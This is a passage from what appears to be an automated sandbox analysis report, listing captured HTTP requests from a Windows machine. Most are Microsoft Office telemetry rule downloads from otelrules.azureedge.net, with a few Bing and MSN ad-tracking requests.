t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p=Cache-Control: no-cacheMS-CV: bDEUE2Cs1EejRCLe.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /aes/c.gif?RG=0f91eadf8df84ea2b1d49211c5d40672&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20241206T174621Z&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: www.bing.comConnection: Keep-AliveCookie: MUID=3BA32936F12565CC2B0D3C7BF03C6473
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174625Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=0e578b388fd54cc78e6827901358029e&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617008&metered=false&nettype=ethernet&npid=sc-88000045&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617008&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p=Cache-Control: no-cacheMS-CV: bDEUE2Cs1EejRCLe.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8G4PIk1UbC6xaqOpUmuUy6TVUCUxL1qmCxSndJLMNXhaLIHU6oqEhDITNRJZJa0HjYUSWH529YKNaPWxjfURv6OUlfPETUk1g15CK9zhyQE3Fc1UUwW10c_ie9L9rmfHeOli8zUEnEppXfU5ToThWdnsgd29yL0nMayZOTtJASr6oEWZM%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3De3a86032b7461ee85de907618f0a1a89&TIME=20241206T174621Z&CID=531538185&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=3BA32936F12565CC2B0D3C7BF03C6473; _EDGE_S=SID=146F38141194667724732D59108C676E; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
